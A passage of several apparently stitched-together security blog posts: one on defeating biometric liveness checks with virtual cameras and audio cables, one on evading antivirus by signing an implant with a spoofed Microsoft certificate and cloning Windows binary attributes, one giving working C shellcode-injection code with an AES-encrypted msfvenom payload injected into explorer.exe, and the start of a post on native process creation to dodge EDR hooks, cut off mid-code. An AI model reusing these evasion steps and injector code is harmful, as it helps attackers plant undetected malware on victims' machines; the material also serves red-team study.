Introduction

The rise of fraud and identity theft poses a growing concern for both individuals and organizations. As AI and deepfake technologies advance at an unprecedented pace, the need for a robust form of identity verification has become increasingly important. Traditional identity verification technology has become vulnerable to sophisticated attacks, such as spoofing, where fraudsters mimic someone’s identity. To combat the growing threat, identity providers integrated liveness detection to ensure the person undergoing verification is real, live, and physically present. However, as liveness detection evolves, fraudsters have adapted to bypass this protection.

In this article, we will explore how liveness detection, which is designed to distinguish real users from spoofed representations, can be undermined through the use of virtual devices. We will cover the tools and techniques, the setup process, and a demonstration of the bypasses. We will also discuss how criminals take advantage of the biometric data (facial images, voice recordings, and ID photos) individuals and organizations often unknowingly post and leave online. Finally, we will conclude with practical recommendations to help identity providers combat such attacks and improve their systems.

Understanding Remote Identity Proofing

Remote Identity Proofing (RIDP) is the process of verifying someone’s identity through digital channels without requiring their physical presence. This helps combat fraud by confirming the end users are real and who they claim to be. In sectors like banking, insurance, cryptocurrencies, and payments, RIDP has emerged as a key component of digital trust. RIDP also plays a big role in regulatory programs like Know Your Customer (KYC), Customer Due Diligence (CDD), and Anti‑Money Laundering (AML).

Common forms of RIDP include:

• Document validation, which relies upon the authenticity of government issued IDs such as passports or driver’s licenses.
• Biometric verification, such as facial recognition, fingerprint scanning, and voice authentication, which focuses on someone’s unique physical characteristics.
• Knowledge-based approaches, wherein multiple signals (e.g., passwords, PINs, OTPs) are collected.

Verification Methods & Their Related Attacks

This article focuses on the following forms of identity verification:

• Facial Recognition
• Document Validation
• Voice Authentication

Facial Recognition

Facial recognition is the process where a user’s facial features are captured, extracted, and compared against a database of faces to confirm identity. In practice, this makes the camera pipeline and its integrity (how the face data is acquired and delivered to the verification component) a critical security boundary.

With this type of verification, fraudsters seek to impersonate a real person through Facial Spoofing, wherein a valid‑looking fake representation of the target is presented to the camera. This is typically carried out via:

• 2D Spoofing - presenting a printed photo or image displayed on a digital device (e.g., monitor or phone) to the camera.
• Video Replay - presenting a pre‑recorded video to the camera rather than a live capture.
• 3D/Silicon Masks - creating a 3D reconstruction of a face or a mask to simulate a face in a physically present form.

Document Validation

Another method is verifying the authenticity and validity of an identity document such as a passport, national ID, or driver’s license. This method, called Document Validation, typically includes checking visual and structural cues and determining whether the presented document is legitimate versus altered or fabricated.

In an attempt to bypass document validation, fraudsters typically impersonate someone by presenting stolen, forged, or falsified documents. This is called Document Spoofing and common methods include:

• Printed Copy - using a printed reproduction of an authentic or forged document.
• Screen Replay - presenting a legitimate (stolen) or forged document via a digital screen.
• Portrait Overlay/Substitution - placing someone else’s photo over the original photo in a legitimate document.

Voice Authentication

Voice authentication identifies a person based on the unique biological characteristics of their voice, including traits such as dynamics, pitch, intensity, and articulation. As with face and document capture, the trustworthiness of the capture channel (microphone input and the path from device to verification system) is foundational.

Speech Spoofing focuses on impersonating a target user by producing a voice output that matches the target’s “voice print/pattern” and speech behavior. Common methods are:

• Voice Imitation/Conversion - making the fraudster’s voice sound similar to the target’s voice.
• Speech Synthesis/Cloning - using AI and text‑to‑speech (TTS) technologies to generate a replica of the target’s voice.
• Voice Replay - using a pre‑recorded voice of the target.

Liveness Detection as a Defensive Control

Liveness detection aims to prevent spoofing attacks by ensuring the user is live and physically or actively present at the time of the verification process rather than a recording or synthetic source. Liveness detection is implemented either passively or actively. With passive liveness detection, the verification system analyzes biometric signals without requiring explicit user interaction for a faster and seamless experience. As for active liveness detection, the system prompts users to perform actions such as head movements or speaking phrases to ensure users are actively/physically present during the verification process; however, it adds friction and inconvenience to some users.

The following demonstrates how liveness detection works for each verification system discussed above:

Facial Liveness

RIDP systems typically check for facial liveness using a combination of active and passive methods. Active liveness uses randomized challenge–response prompts, such as blinking or head movements, to confirm real‑time interaction. On the other hand, passive liveness runs in the background, analyzing depth cues, skin texture, light reflections, and subtle physiological signals that are difficult for photos, videos, or deepfakes to replicate.

Document Liveness

Instead of checking a document’s format or text alone, document liveness analyzes how a document interacts with light and motion. Real IDs exhibit natural reflections on holograms and laminates, realistic shadows, and consistent texture patterns. Screen replays and printed copies expose artifacts such as Moiré patterns (image distortion due to the overlapping grid pattern between the display and the camera capturing it), color limitations, or unnatural edges, which modern AI models are trained to detect within a single image or a short video capture.

Voice Liveness

Passive voice liveness analyzes spectral and temporal characteristics of speech, identifying artifacts common in text‑to‑speech, voice cloning, and replay attacks. Whereas active liveness adds challenge‑response prompts, requiring users to speak unpredictable phrases (instead of predefined ones) in real time, making replay and synthetic attacks far more difficult.

Injection Attacks Against Liveness Detection

As liveness detection matured and spoofing/replay attacks became easier to detect, threat actors shifted toward more sophisticated techniques. This led to the rise of injection attacks, which target the verification pipeline instead of the sensor. Instead of fooling the sensors by presenting falsified media to a camera or microphone, injection attacks feed prerecorded, manipulated, or synthetic biometric data directly into the application or API. This makes the system believe the input is legitimate, since the injected data is a bit-for-bit replica of the source media and is of high quality.

The following diagram illustrates the difference between a replay and an injection attack:

Typically, Injection Attack Methods (IAM) fall into two categories: attacks performed via modified or falsified devices, and attacks performed via substitution of captured media.

Injection via Modified or Falsified Devices

In this type of attack, the attacker manipulates the capture environment itself so that falsified media is treated as legitimate. One approach involves the use of virtual devices, where software‑based cameras or microphones emulate physical hardware. These virtual components can present attacker‑controlled images, videos, or audio streams directly to the verification system while appearing as standard capture devices.

Another approach uses hardware modules inserted between the sensor and the RIDP system. In this method, the hardware intercepts and replaces genuine sensor output with attacker‑supplied data before it reaches the verification logic.

A third variant relies on device emulators, where the entire verification environment is simulated. Emulated devices can present falsified data while mimicking expected device characteristics, allowing attackers to test and refine injection techniques at scale.

Injection via Substitution of Captured Media

Rather than altering the device itself, some threat actors may instead target the verification path that handles the captured media. One technique involves function hooking, where application- or system‑level functions responsible for camera or microphone input are intercepted and modified. This allows attackers to replace genuine capture data with prerecorded or synthetic media at runtime.

Another method relies on traffic interception, commonly described as a man‑in‑the‑middle (MiTM) scenario. In this case, media streams are intercepted and altered as they are transmitted between the client and backend services, enabling substitution without modifying the physical capture process.

Using Virtual Devices to Circumvent Liveness Detection

The final area to address is the use of virtual devices as a cheap and simple means to defeat liveness detection implemented with different verification methods.

Virtual devices are software-based devices that mimic the capabilities of physical devices and allow users to select different source media (images, videos, audio, scenes, etc.) and feed them to other applications. Because virtual devices are inexpensive (mostly open-source), easy to configure, and widely used for legitimate purposes such as streaming and conferencing, they present a scalable and practical attack vector.

Attack Demonstration

Virtual Device Against Facial Liveness

Scenario: Instead of using the phone’s native camera for a live capture, a fraudster injects a pre-recorded video using a virtual camera.

Virtual Device Against Document Liveness

Scenario: Instead of using a camera to capture the ID, the fraudster uses a virtual camera to submit it to the RIDP system.

Virtual Device Against Voice Liveness

Scenario: Instead of speaking through a microphone, the fraudster submits an audio record to the RIDP system using a virtual audio cable.

Threats: Widespread Biometric Data Exposure

A major factor behind the growing success of identity theft and imposter scams is the widespread availability of biometric data. Identity impersonation is no longer a high‑effort operation. Today, attackers can obtain biometric artifacts of their victims remotely, quickly, and at scale. Identity theft and impersonation no longer depend on physical proximity to the victim; attackers can now acquire usable biometric samples remotely and at scale.

Social media platforms have effectively become open biometric repositories. Profile pictures, short‑form videos, and live streams expose high‑quality facial imagery and voice samples across a wide range of lighting conditions, angles, and expressions. For attackers, this content is often more than sufficient to fuel replay attacks, deepfake generation, or voice cloning. Vlogs and user‑generated video content further raise the bar by offering extended, natural recordings of both face and voice. These longer samples reveal behavioral nuances, such as speech rhythm, pauses, expressions, and movement patterns, that can be leveraged to evade passive liveness detection and behavioral analysis.

The most severe risk comes from database and KYC leaks, which may expose high‑resolution IDs, enrollment selfies, and voice samples.

This level of biometric exposure fundamentally reshapes the RIDP threat model. Biometric data can no longer be treated as a protected secret. Instead, trust must shift toward verifiable capture integrity, proving that data was generated by a real sensor on a real device at a specific moment. Without strong capture‑time guarantees and device‑level assurance, even advanced liveness detection remains vulnerable to high‑fidelity impersonation attacks.

As biometric data becomes easier to obtain, the threat shifts from “Can attackers get the data?” to “Can systems reliably prove how and when the data was captured?”. Addressing this shift is essential to defending modern RIDP deployments against scalable impersonation attacks.

Recommendations

To mitigate these risks, organizations should adopt a layered defense strategy, such as:

• Identifying virtual devices through metadata, hardware identifiers, and supported capabilities.
• Detecting emulated environments using hardware characteristics, sensor availability, performance profiles, and interaction patterns.
• Ensuring authenticity and fidelity through remote image attestation, cryptographic signing, timestamping, and challenge‑response mechanisms.
• Analyzing input data and session metadata for anomalies, mismatches, or missing sensor signals that indicate virtual sources.
• Switching to mobile‑only RIDP by taking advantage of mobile security features like Trusted Execution Environments and sensor telemetry.
• Combining multimodal verification and human review for high‑risk use cases, supported by logging and analysis of failed attempts.

Conclusion

Remote Identity Proofing is essential to modern digital ecosystems, but it operates in a constantly evolving adversarial environment. As replay attacks lose effectiveness, injection attacks pose a more serious challenge to liveness detection. RIDP systems should assume that the capture device itself may be untrusted and design controls accordingly.

Ultimately, securing remote identity verification remains a cat‑and‑mouse game, and defending them against threats requires more than a single control; it demands continuous improvement, layered defenses, and an in-depth understanding of both attacker capabilities and system limitations.

Talk

Slides

Slides

Infographic

Credits: Mind’s Eye Creative

All the lessons I’m sharing here are based on what I learned/observed during my experiment.

AntiScan.Me has always been my choice to check how my implant fares against different AV software/companies. The main reason is they never distribute the scan results (well, at least that’s what they claim) compared to VirusTotal.

Checking the detection (evasion) rate of my implant helps improve my maldev skills. It also forces me to learn and research different evasion techniques which I find challenging and fun. But recently, I got stuck trying to get a 0/26 detection rate. Here’s an image showing the detection rate of the implant that I have written.

I’m quite happy with the result though since the majority of the AV products failed to detect it. But, I’m not satisfied so I keep thinking and trying different ways to improve the detection rate. After several attempts and testing, nothing worked and the detection rate remains the same. After doing some research, I came across Code Signing to make my binary look “trusted” (even though it should not be trusted as it’s actually doing malicious things). I don’t want to spend a dime purchasing a valid code signing certificate so I opted to use an invalid/spoofed certificate.

PS C:\bin> .\signtool.exe sign /v /f .\cert.pfx /fd SHA256 .\base-implant.exe
The following certificate was selected:
    Issued to: www.microsoft.com
    Issued by: Microsoft Azure TLS Issuing CA 06
    Expires:   Sat Sep 30 07:23:11 2023
    SHA1 hash: 1FE9A0EC7C3D307369DF61348838DC12F3FAE024

Done Adding Additional Store
Successfully signed: .\base-implant.exe

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0

The cert.pfx file used from the above command was derived from a certificate and key created from the www.microsoft.com domain.

PS C:\bin> certutil.exe -dump .\cert.pfx
Enter PFX password:
================ Certificate 0 ================
================ Begin Nesting Level 1 ================
Element 0:
Serial Number: 330059f8b6da8689706ffa1bd900000059f8b6
Issuer: CN=Microsoft Azure TLS Issuing CA 06, O=Microsoft Corporation, C=US
 NotBefore: 10/5/2022 7:23 AM
 NotAfter: 9/30/2023 7:23 AM
Subject: CN=www.microsoft.com, O=Microsoft Corporation, L=Redmond, S=WA, C=US
Signature matches Public Key
Non-root Certificate uses same Public Key as Issuer
Cert Hash(sha1): 1fe9a0ec7c3d307369df61348838dc12f3fae024
----------------  End Nesting Level 1  ----------------
  Provider = Microsoft Enhanced Cryptographic Provider v1.0
Encryption test passed
CertUtil: -dump command completed successfully.

Here’s what the signed implant looks like and it is clearly shown that it was signed with an invalid certificate.

Based on the scan result, the detection rate improved from 6/26 to 3/26. This signifies that code signing works (or simply fools some AVs) even with an invalid certificate.

LESSON #1: Signed binaries are less investigated by some AV software. This means using a spoofed/invalid certificate works because there are AVs that don’t verify the validity of the digital certificate used.

Obsessed with improving the detection rate, I decided to time-stamp my signed implant, using http://timestamp.digicert.com as the Time Stamp Authority (TSA) server, to make it more “trusted” and “verified”?

PS C:\bin> .\signtool.exe timestamp /v /tr http://timestamp.digicert.com /td SHA256 .\signed-implant.exe
Successfully timestamped: .\signed-implant.exe

Number of files successfully timestamped: 1
Number of errors: 0

Now here’s what the time-stamped binary looks like.

Did I get a better result? I’m quite disappointed because nothing changed and the detection rate stays at 3/26.

My disappointment did not stop me so I keep on thinking and trying different methods. Out of curiosity, I decided to change the TSA server and used http://sha256timestamp.ws.symantec.com/sha256/timestamp instead.

PS C:\bin> .\signtool.exe timestamp /v /tr http://sha256timestamp.ws.symantec.com/sha256/timestamp /td SHA256 .\timestamped-implant.exe
Successfully timestamped: .\timestamped-implant.exe

Number of files successfully timestamped: 1
Number of errors: 0

Surprisingly, it worked and I now achieved the detection rate that I wanted!

LESSON #2: AV products behave differently depending on the TSA server used to time-stamp the binary.

I want to further investigate this observation. However, AntiScan.Me only allows 4 submissions per IP each day and I don’t have the luxury of time/resources to do it. Anyway, if you want to further explore this observation, here’s a list of free RFC 3161 TSA servers.

Now that I got what I wanted, it’s time to celebrate! Well… NO! Because as soon as my implant touches the disk of my target system (Windows 11 with up-to-date Windows Defender engine), it is caught immediately.

How did Windows Defender flag my implant when AntiScan.Me told me I got a 0/26 detection rate? How is that possible? I don’t even know how to answer my questions because I don’t have an idea how the different AV products within AntiScan.Me actually works!

LESSON #3: Don’t fully rely on online AV scanning tools/websites. While these online services make life easier since we can test our binary on different AV vendors and get the results at once, nothing beats testing your implant on a local and isolated machine.

Is there a way to evade Windows Defender in this scenario? What if I make my implant look like a Microsoft-signed binary? To do that, I looked for signed binaries within the C:\Windows\System32\ directory and ended up with RuntimeBroker.exe. I cloned this file’s attributes into my implant, signed then time-stamped my implant with an invalid www.microsoft.com certificate, and rename it to RuntimeBroker.exe. Here’s what my implant looks like.

I was very hopeful it will work but sadly, Windows Defender detected it as soon as it touches the disk.

Maybe it was detected because I spoofed a Microsoft domain to sign a cloned Microsoft binary, and Windows Defender could easily verify the authenticity of the certificate and the binary since Microsoft owned them. Maybe, maybe not. Who knows?

As a further investigation, I tried cloning only the file attributes of RuntimeBroker.exe but did not sign it. And the result is still the same.

I already expected this to happen though since the original and legit copy of RuntimeBroker.exe is signed by Microsoft.

But what if I clone the file attributes of an unsigned Windows binary? This time, I opted to clone C:\Windows\System32\at.exe and did not bother signing it since the original/legit copy is not signed. As soon as my implant touches the disk, Windows Defender did not detect it. Even when executed and the shell was received, Windows Defender also failed.

LESSON #4: There are tons of Windows binaries (signed/unsigned and/or installed by default or not) so the above observation might not be true 100%. However, based on my experiment, I would say cloning and code-signing Windows binaries comes with a risk. So make sure to thoroughly test your implant if you opted to use cloning and code signing.

However, as soon as I used meterpreter’s shell command (as shown above), Windows Defender alerted with Behavior:Win32/Meterpreter.D. Despite the alert, my meterpreter shell did not die and when I used the shell command for the second time, Windows Defender alert did not pop out again.

LESSON #5: Being able to download and execute your implant undetected does not necessarily mean the job is done and you won’t get caught. So don’t forget to implement some in-memory evasion techniques.

Conclusion

After spending some time with this experiment and trying to achieve what I wanted (0 detection rate), I realized an important lesson (at least for me).

LESSON #6: Don’t be obsessed or force a 0 detection rate. If we don’t know the security solution running on our target, we ideally wanted to aim for a 0 detection rate. However, the time spent (or wasted) achieving a 0 detection rate could instead be used for information gathering to identify the AV/EDR installed on our target. Using this information, we can then solely focus on evading that particular product.

Before I end this post, I would like to leave these additional lessons.

LESSON #7: When cloning file attributes, don’t limit yourself to Windows binaries. Beware though and ensure that the binary you wanted to clone and execute on your target must be present/installed and/or most likely being used/run on that machine. What I mean is you obviously don’t want to clone and execute an iTunes binary when your target is a Windows Server.

LESSON #8: No detection does not mean no alert/notification will be sent to the blue team.

LESSON #9: Signing an implant with a spoofed certificate might have LEGAL consequences. Do it at your own risk and be responsible.

That’s it for this post. Again, these are my opinions which are based on what I have observed during my experiment. There’s no guarantee that you’ll see the same observations and that all lessons shared here will work in your environment and all scenarios.

Remember, evasion is always a cat-and-mouse game.

I’m almost 90% complete drafting this post when I came across this talk by @rad9800 that discusses the same topic. I’m still publishing this anyhow because I don’t want my efforts to go to waste and this post contains some ideas not mentioned in the talk.

There’s no greater feeling when the malware (or any project/tool) you’re developing works as expected. Until suddenly you realized it only works on your dev machine but not on any other machine.

Here’s an example of what I mean. This code is a commonly used template by malware in which the payload is AES-encrypted (using tiny-AES-c in this case) to avoid static detection. The payload gets decrypted during execution and injected into a remote target process’ memory space.

#include <Windows.h>
#include <stdio.h>
#include "include/aes.hpp"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);

	// PID of explorer.exe
	DWORD pid = 6028;
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	printf("[+] Handle obtained: 0x%p\n", hProcess);

	PVOID baseAddress = NULL;
	baseAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	printf("[+] Memory allocated: 0x%p\n", baseAddress);

	WriteProcessMemory(hProcess, baseAddress, shellcode, shellcodeSize, NULL);
	printf("[+] Memory written: %zu bytes\n", shellcodeSize);

	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)baseAddress, NULL, 0, NULL);
	printf("[+] Thread created: 0x%p\n", hThread);
	printf("[+] Payload executed!");
}

When run on the dev machine, the compiled code works as expected.

But when the same binary gets executed on a different machine, it throws the following error.

Runtime Libraries

What the heck is VCRUNTIME140.dll? This DLL is a runtime library used by Microsoft Visual Studio which consists of functions/codes a program needs in order to work during run time.

Per Microsoft’s documentation:

The vcruntime library contains Visual C++ CRT implementation-specific code, such as exception handling and debugging support, runtime checks and type information, implementation details and certain extended library functions.

Looking at the binary’s IAT (Import Address Table), several functions are imported from VCRUNTIME140.dll and api-ms-win-crt-*.dll DLLs.

When the binary is executed, the OS loads the required libraries (hence called “runtime library”) in the process’ address space and then resolves the relevant functions used by the program.

Why Do We Care?

During an engagement, we have no idea whether the libraries required by your implant/malware are installed on the target system. Well, if you already have access to the target machine then you can do an enumeration first. However, it is a good idea to assume the target system does not have the required libraries. Doing so will allow us to develop a program that works in any system.

The Solutions

How do we get around it and remove the dependencies? Here are some of the solutions I discovered as I encounter the same obstacle.

Install What’s Missing

One of the easiest solutions is to install Microsoft Visual C++ Redistributable. However, it is not recommended as making changes to a target system, especially installing software, is bad practice.

When Googling this issue, the solution provided by some web pages instructs the reader to download the missing DLL hosted on their server. This is a big NO as the legitimacy of the hosted file is unknown, and this could put the target/client’s system in a riskier scenario.

Statically Link ‘Em

Getting rid of runtime libraries can be done by static linking them during compile time. With this approach, worrying about the missing libraries on the target system goes away as they are already “bundled” in the binary. Hence, the chance the program will work on any system is highly probable.

Static linking of the required libraries is easy. In Visual Studio, go to the project properties and set the value of the Runtime Library property to Multi-threaded (/MT).

Since libraries are “bundled” into the executable, the following drawbacks can be observed:

• Bloated binary: Here’s a comparison showing a difference of more than 100KB in file size when using static linking.

• More IAT entries: Static linking results in more imports (78 in this case) compared to dynamic linking (49 in total).

Manually Remove ‘Em

To eliminate any dependencies, tell the linker to exclude all default libraries from the list of libraries it searches. This is done by setting the /NODEFAULTLIB linker option.

However, compilation with the /NODEFAULTLIB linker option set causes the following error.

What happened? Let’s first discuss the highlighted item.

To start the analysis, set a breakpoint in main(), debug the code, and look at the call stack. Here, it shows main() is not the entry point of the program. In fact, the execution begins by invoking the mainCRTStartup() function, which is the entry point of the C runtime library and is responsible for the initialization of the memory manager, file I/O, etc. Then the main() function will eventually be called.

Changing the Program’s Entry Point

If main() is not the actual entry point, then just “force” the compiler to use main() as the entry point. To do this, add the directive #pragma comment(linker, "/ENTRY:main") in the above code or set the Entry Point property to main.

Other function names (e.g., entry()) can be used as the entry point and having a main() function in the code is optional.

The other method does not involve changing the entry point, but having our version of the mainCRTStartup() function. Since mainCRTStartup() is the real entry point, then simply put the code inside it. Using this approach, the updated code would look like this.

#include <Windows.h>
#include <stdio.h>
#include "include/aes.hpp"

void __stdcall mainCRTStartup()
{
	[THE_BODY_CONTAINS_THE_SAME_CODE_AS_ABOVE]
}

int main() was simply change to void __stdcall mainCRTStartup(). Note that the rest of this post uses this method.

Using either method, compiling the updated code returns fewer errors. Specifically, the error message LNK2001 unresolved external symbol mainCRTStartup is gone.

Disabling Security Check

To address the error LNK2001 unresolved external symbol __security_check_cookie, simply tell the compiler to stop checking for buffer overruns. To do this, set the Security Check property to Disable Security Check (/GS-).

I won’t go into the details about the /GS compiler option, but here’s a reference you can read.

After compiling the updated program, only two errors were left.

Removing <stdio.h>

The remaining errors are related to the included library stdio.h, which contains functions for file I/O operations. The base code includes this library to be able to use the printf() function. If this library is removed and all lines containing the printf() function are commented out, then the remaining errors are gone.

[](/static/img/2022-10-17-independent-malware/stdio-gone.png)

When the updated code gets compiled and the binary is executed on another system, it works and the initial error related to VCRUNTIME140.dll didn’t pop out.

Looking again at the binary’s IAT, the number of imports is reduced to 4 and only contains the actual WinAPI used within the code.

The file size is also reduced to only 7KB, which is smaller than the original size of 15KB.

Build Your Own

Custom printf()

But what if printf() is necessary for our program? One approach is to have a custom printf() function. Here’s an example which utilizes Windows API.

void my_printf(const char* pszFormat, ...) {
	char buf[1024];
	va_list argList;
	va_start(argList, pszFormat);
	wvsprintfA(buf, pszFormat, argList);
	va_end(argList);
	DWORD done;
	WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), buf, strlen(buf), &done, NULL);
}

This code was taken from here, so credits to the author.

When using the above my_printf() code, one must take into account the additional DLL (user32.dll due to the use of wvsprintfA()) the binary relies on. Since the program is a console application (no GUI/window), the use of functions from user32.dll could be a red flag.

How to write a print function without depending on user32.dll then? Luckily, kernelbase.dll has wprintf() as one of its exported functions.

However, directly using it will result in a compilation error. A workaround is to resolve wprintf() dynamically. Here’s the updated code showcasing how to do it.

#include <Windows.h>
#include "include/aes.hpp"

typedef int (*my_wprintf)(
	const wchar_t* format,
	...
);

void __stdcall mainCRTStartup()
{
	// Resolve wprintf()
	HMODULE hKernelBase = GetModuleHandleW(L"kernelbase.dll");
	my_wprintf wprintf = (my_wprintf)GetProcAddress(hKernelBase, "wprintf");

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);

	// PID of explorer.exe
	DWORD pid = 6028;
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	wprintf(L"[+] Handle obtained: 0x%p\n", hProcess);

	PVOID baseAddress = NULL;
	baseAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	wprintf(L"[+] Memory allocated: 0x%p\n", baseAddress);

	WriteProcessMemory(hProcess, baseAddress, shellcode, shellcodeSize, NULL);
	wprintf(L"[+] Memory written: %zu bytes\n", shellcodeSize);

	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)baseAddress, NULL, 0, NULL);
	wprintf(L"[+] Thread created: 0x%p\n", hThread);
	wprintf(L"[+] Payload executed!");
}

Now, the dependency with user32.dll has been removed.

Custom CRT

What about the other standard functions such as memcpy(), memset(), strcmp(), rand(), etc.? One way is to write custom implementations of these functions. Several devs have done this so the codes are just one Google search away. Here’s an example for memcpy() and memset().

void *memcpy (void *dest, const void *src, size_t len)
{
  char *d = dest;
  const char *s = src;
  while (len--)
    *d++ = *s++;
  return dest;
}

void *memset (void *dest, int val, size_t len)
{
  unsigned char *ptr = dest;
  while (len-- > 0)
    *ptr++ = val;
  return dest;
}

Here are some repos that could be useful. These contain code snippets that can be used as an alternative to the C runtime library.

• malxau/minicrt
• liupengs/Mini-CRT
• dreckard/minicrt
• leepa/libctiny

Go With WinAPI

The other method is to simply use the WinAPI counterpart of the function. For example, instead of using malloc() and wcscmp(), WinAPI has VirtualAlloc() and StrCmpW().

This image was taken from this discussion, so credits to the owner/poster.

Conclusion

Your code most likely varies from the code presented here, so don’t expect everything discussed in this post will work in your project. However, with this rough guide, I hope it will alleviate some of the headaches you’re going to have should you decide to remove any CRT dependencies in your program.

I’m not a pro at programming and I only shared what I learned. If you identify any mistakes, please let me know so we can correct them.

In this post, I’ll share some of my notes and the journey that I took in the development of a “minimal” code, which is enough for my need of creating a process using native APIs.

I’m not an expert in Windows Internals so if you found some issues/mistakes, please let me know and I would be happy to make the necessary corrections.

From CreateProcess() to NtCreateUserProcess()

One of the documented Windows APIs for creating processes is CreateProcess(). Using this API, the created process runs in the context (meaning the same access token) of the calling process. Execution then continues with a call to CreateProcessInternal(), which is responsible for actually creating the user-mode process. CreateProcessInternal() then calls the undocumented and native API NtCreateUserProcess() (located in ntdll.dll) to shift to kernel-mode.

But Why Use NtCreateUserProcess()?

NtCreateUserProcess() is the lowest and the last function accessible in user-mode that we could call to evade the detection controls (such as User-land Hooking) set by an AV/EDR.

When I searched the web for a sample implementation of NtCreateUserProcess(), I came across the following repos:

• Microwave89/createuserprocess
• peta909/NtCreateUserProcess_
• PorLaCola25/PPID-Spoofing

However, none of them worked during the times I tested them. I spent hours modifying the codes that I found to try and make it work, but I keep on failing. So aside from the evasive purposes of this native function, the main reason I dedicated my free time to this subject is for the fun and challenge.

NtCreateUserProcess()

The native API NtCreateUserProcess() has the following syntax.

NTSTATUS
NTAPI
NtCreateUserProcess(
    _Out_ PHANDLE ProcessHandle,
    _Out_ PHANDLE ThreadHandle,
    _In_ ACCESS_MASK ProcessDesiredAccess,
    _In_ ACCESS_MASK ThreadDesiredAccess,
